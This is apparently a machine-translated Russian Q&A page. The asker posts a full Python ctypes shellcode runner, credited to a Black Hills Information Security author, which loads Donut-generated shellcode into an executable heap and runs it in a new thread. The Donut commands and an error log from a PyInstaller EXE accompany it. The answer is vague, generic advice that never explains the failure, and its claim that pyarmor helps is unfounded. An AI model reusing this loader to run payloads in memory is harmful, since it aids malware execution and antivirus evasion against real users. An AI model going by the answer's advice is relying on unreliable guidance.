Как правильно сгенерировать шелл-код из исполняемого файла PyInstaller?

Вопрос или проблема

Для контекста

Я использую этот скрипт на Python для выполнения шеллкода, который найден в loader.bin

#!/usr/bin/env python3 
import ctypes 
import ctypes.wintypes as wt 
import logging 
import platform

# Настройка логирования logging.basicConfig(level=logging.DEBUG, format="%(asctime)s - %(levelname)s - %(message)s")


class ShellcodeExecute:
    # EXE файл PyInstaller, преобразованный в шеллкод с использованием Donut
    try:
        shellcode = open('loader.bin', 'rb').read()
        logging.info(f'Длина шеллкода составляет: {len(shellcode)}')
    except FileNotFoundError:
        logging.critical('Файл loader.bin не найден. Пожалуйста, убедитесь, что файл находится в правильном месте.')
        raise
    except Exception as e:
        logging.critical(f'Ошибка при чтении loader.bin: {e}')
        raise

    HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
    HEAP_ZERO_MEMORY = 0x00000008
    PAGE_READWRITE_EXECUTE = 0x40
    PAGE_READ_EXECUTE = 0x20

    @staticmethod
    def configure_ctypes():
        try:
            # CloseHandle()
            ShellcodeExecute.CloseHandle = ctypes.windll.kernel32.CloseHandle
            ShellcodeExecute.CloseHandle.argtypes = [wt.HANDLE]
            ShellcodeExecute.CloseHandle.restype = wt.BOOL

            # CreateRemoteThread()
            ShellcodeExecute.CreateRemoteThread = ctypes.windll.kernel32.CreateRemoteThread
            ShellcodeExecute.CreateRemoteThread.argtypes = [
                wt.HANDLE, wt.LPVOID, ctypes.c_size_t, wt.LPVOID, wt.LPVOID, wt.DWORD, wt.LPVOID]
            ShellcodeExecute.CreateRemoteThread.restype = wt.HANDLE

            # CreateThread()
            ShellcodeExecute.CreateThread = ctypes.windll.kernel32.CreateThread
            ShellcodeExecute.CreateThread.argtypes = [
                wt.LPVOID, ctypes.c_size_t, wt.LPVOID,
                wt.LPVOID, wt.DWORD, wt.LPVOID
            ]

            # HeapCreate()
            ShellcodeExecute.HeapCreate = ctypes.windll.kernel32.HeapCreate
            ShellcodeExecute.HeapCreate.argtypes = [wt.DWORD, ctypes.c_size_t, ctypes.c_size_t]
            ShellcodeExecute.HeapCreate.restype = wt.HANDLE

            # HeapAlloc()
            ShellcodeExecute.HeapAlloc = ctypes.windll.kernel32.HeapAlloc
            ShellcodeExecute.HeapAlloc.argtypes = [wt.HANDLE, wt.DWORD, ctypes.c_size_t]
            ShellcodeExecute.HeapAlloc.restype = wt.LPVOID

            # OpenProcess()
            ShellcodeExecute.OpenProcess = ctypes.windll.kernel32.OpenProcess
            ShellcodeExecute.OpenProcess.argtypes = [wt.DWORD, wt.BOOL, wt.DWORD]
            ShellcodeExecute.OpenProcess.restype = wt.HANDLE

            # RtlMoveMemory()
            ShellcodeExecute.RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
            ShellcodeExecute.RtlMoveMemory.argtypes = [wt.LPVOID, wt.LPVOID, ctypes.c_size_t]
            ShellcodeExecute.RtlMoveMemory.restype = wt.LPVOID

            # VirtualAllocEx()
            ShellcodeExecute.VirtualAllocEx = ctypes.windll.kernel32.VirtualAllocEx
            ShellcodeExecute.VirtualAllocEx.argtypes = [wt.HANDLE, wt.LPVOID, ctypes.c_size_t, wt.DWORD, wt.DWORD]
            ShellcodeExecute.VirtualAllocEx.restype = wt.LPVOID

            # VirtualProtectEx()
            ShellcodeExecute.VirtualProtectEx = ctypes.windll.kernel32.VirtualProtectEx
            ShellcodeExecute.VirtualProtectEx.argtypes = [
                wt.HANDLE, wt.LPVOID, ctypes.c_size_t, wt.DWORD, wt.LPVOID]
            ShellcodeExecute.VirtualProtectEx.restype = wt.BOOL

            # WaitForSingleObject
            ShellcodeExecute.WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
            ShellcodeExecute.WaitForSingleObject.argtypes = [wt.HANDLE, wt.DWORD]
            ShellcodeExecute.WaitForSingleObject.restype = wt.DWORD

            # WriteProcessMemory()
            ShellcodeExecute.WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
            ShellcodeExecute.WriteProcessMemory.argtypes = [
                wt.HANDLE, wt.LPVOID, wt.LPCVOID, ctypes.c_size_t, wt.LPVOID]
            ShellcodeExecute.WriteProcessMemory.restype = wt.BOOL

            # GetExitCodeThread()
            ShellcodeExecute.GetExitCodeThread = ctypes.windll.kernel32.GetExitCodeThread
            ShellcodeExecute.GetExitCodeThread.argtypes = [wt.HANDLE, wt.LPDWORD]
            ShellcodeExecute.GetExitCodeThread.restype = wt.BOOL

            logging.info('ctypes успешно настроены.')

        except Exception as e:
            logging.critical(f'Ошибка при настройке ctypes: {e}')
            raise

    def __init__(self, shellcode=None):
        logging.info('''   _______________________________________________________
    shellcode.py: Простое выполнение шеллкода на Python3
    куча процесса.
    Версия 1.0 (c) Joff Thyer
    Black Hills Information Security LLC
    River Gum Security LLC   _______________________________________________________ ''')
        try:
            if shellcode is None and platform.architecture()[0] == '64bit':
                logging.info('[*] 64-битный интерпретатор Python')
                self.shellcode = self.shellcode

            self.execute()

        except Exception as e:
            logging.critical(f'Ошибка инициализации: {e}')
            raise

    def execute(self):
        try:
            heap = self.HeapCreate(
                self.HEAP_CREATE_ENABLE_EXECUTE, len(self.shellcode), 0)
            if not heap:
                logging.error('HeapCreate не удался.')
                return

            self.HeapAlloc(heap, self.HEAP_ZERO_MEMORY, len(self.shellcode))
            logging.info('[*] Успешно выделена память с помощью HeapAlloc() на: {:08X}'.format(heap))

            self.RtlMoveMemory(heap, self.shellcode, len(self.shellcode))
            logging.info('[*] Шеллкод скопирован в память.')

            thread = self.CreateThread(0, 0, heap, 0, 0, 0)
            if not thread:
                logging.error('CreateThread не удался.')
                return

            logging.info('[*] CreateThread() в том же процессе.')
            self.WaitForSingleObject(thread, 0xFFFFFFFF)

            # Проверьте, была ли успешной выполнение потока
            exit_code = wt.DWORD()
            result = self.GetExitCodeThread(thread, ctypes.byref(exit_code))
            if not result:
                logging.error('Не удалось получить код выхода потока.')
            else:
                if exit_code.value == 0:
                    logging.info('[*] Шеллкод выполнен успешно.')
                else:
                    logging.error(f'Выполнение шеллкода завершилось с кодом выхода: {exit_code.value}')

        except Exception as e:
            logging.critical(f'Ошибка выполнения: {e}')
            raise


if __name__ == '__main__':
    try:
        ShellcodeExecute.configure_ctypes()
        ShellcodeExecute()
    except Exception as e:
        logging.critical(f'Фатальная ошибка: {e}')
        raise

И я также использую donut для генерации шеллкода из моего EXE.

Теперь, когда я использую donut с общими исполняемыми файлами (например, ./donut -i .\calc.exe) и запускаю скрипт выполнения шеллкода, он работает без проблем.

Однако, когда у меня есть EXE, скомпилированный с использованием PyInstaller --onefile, и я генерирую его шеллкод с помощью ./donut -i PYINSTALLER_EXECUTABLE.exe, когда я пытаюсь выполнить сгенерированный шеллкод, используя скрипт выполнения шеллкода, вот что происходит:

2024-11-05 04:58:39,014 - INFO - Длина шеллкода составляет: 34565956
2024-11-05 04:58:39,014 - INFO - ctypes успешно настроены.
2024-11-05 04:58:39,014 - INFO - 
  _______________________________________________________
    shellcode.py: Простое выполнение шеллкода на Python3
    куча процесса.
    Версия 1.0 (c) Joff Thyer
    Black Hills Information Security LLC
    River Gum Security LLC
  _______________________________________________________

2024-11-05 04:58:39,014 - INFO - [*] 64-битный интерпретатор Python
2024-11-05 04:58:39,014 - INFO - [*] Успешно выделена память с помощью HeapAlloc() на: 1926D150000
2024-11-05 04:58:39,029 - INFO - [*] Шеллкод скопирован в память.
2024-11-05 04:58:39,029 - INFO - [*] CreateThread() в том же процессе.
[PYI-17660:ERROR] Не удалось загрузить встроенный архив PKG PyInstaller из исполняемого файла (C:\Users\zaid2\AppData\Local\Programs\Python\Python311\python.exe)

Несмотря на то, что когда я запускаю независимый EXE, он работает.

Почему это происходит? И есть ли способ правильно сгенерировать шеллкод для исполняемых файлов PyInstaller?

Ответ или решение

Для корректной генерации шелкода из исполняемого файла, созданного с помощью PyInstaller, необходимо учитывать несколько ключевых моментов, которые связаны с особенностями работы PyInstaller и механизмами, которые он использует для упаковки программ. Давайте разберёмся в деталях.

Что такое PyInstaller и как он работает?

PyInstaller — это популярный инструмент, позволяющий превращать Python-скрипты в автономные исполняемые файлы (EXE) для Windows, Linux и macOS. Он фиксирует всю среду выполнения приложения, включая используемые библиотеки и ресурсы, и включает их в собранный EXE. Этот процесс значительно отличается от создания обычных исполняемых файлов, таких как calc.exe, что может вызывать проблемы при извлечении шелкода.

Проблемы при генерации шелкода из PyInstaller-исполняемых файлов

Из вашего описания видно, что вы успешно генерируете и запускаете шелкод для стандартных исполняемых файлов, но сталкиваетесь с ошибками при использовании файлы, созданного PyInstaller. Сообщение об ошибке [PYI-17660:ERROR] Could not load PyInstaller's embedded PKG archive from the executable указывает на то, что шелкод не может найти встраиваемую часть, необходимую для корректного выполнения.

Причина этого кроется в том, что PyInstaller использует специальную упаковку, включая дополнительные метаданные и файлы во время сборки. Поэтому, когда вы создаёте шелкод с использованием Donut, он не может корректно захватить все необходимые для выполнения элементы, которые включает в себя исполняемый файл PyInstaller.

Решения и рекомендации

Для успешной генерации шелкода, который может быть исполнен корректно, можно попробовать следующее:

  1. Модификация исполняемого файла перед упаковкой: Убедитесь, что ваш скрипт, который вы собираетесь упаковать, не требует внешних ресурсов, которые не могут быть загружены динамически. Попробуйте упаковать все необходимые модули или статические ресурсы в один файл.

  2. Использование альтернативных инструментов: Некоторые инструменты, такие как pyarmor, могут создать исполняемые файлы, которые легче преобразовать в шелкод. Попробуйте изменить подход к упаковке вашего Python-кода.

  3. Анализ зависимости файлов: Используйте утилиты, такие как Dependency Walker, чтобы изучить, какие зависимости ваш PyInstaller EXE требует для корректной работы. Возможно, вам придется учесть эти зависимости при генерации шелкода.

  4. Общий подход к созданию шелкода: Если вы по-прежнему сталкиваетесь с проблемами, рассмотрите возможность использования других методов кодирования и упаковки, которые могут быть более совместимыми с созданием шелкода.

  5. Тест на простых приложениях: Начните с простых Python-программ и попробуйте создать шелкод для них, используя PyInstaller. Постепенно вводите более сложные зависимости, чтобы выявить, где начинается проблема.

  6. Обратитесь за помощью в сообщество разработчиков: Если проблема не решается, вы можете обратиться на форумы, такие как Stack Overflow или GitHub, где другие разработчики могут поделиться опытом решения подобных вопросов.

Возможно, вам потребуется провести дополнительные эксперименты, чтобы найти наилучшее решение. Удачи в вашей работе!

Оцените материал
Добавить комментарий

Капча загружается...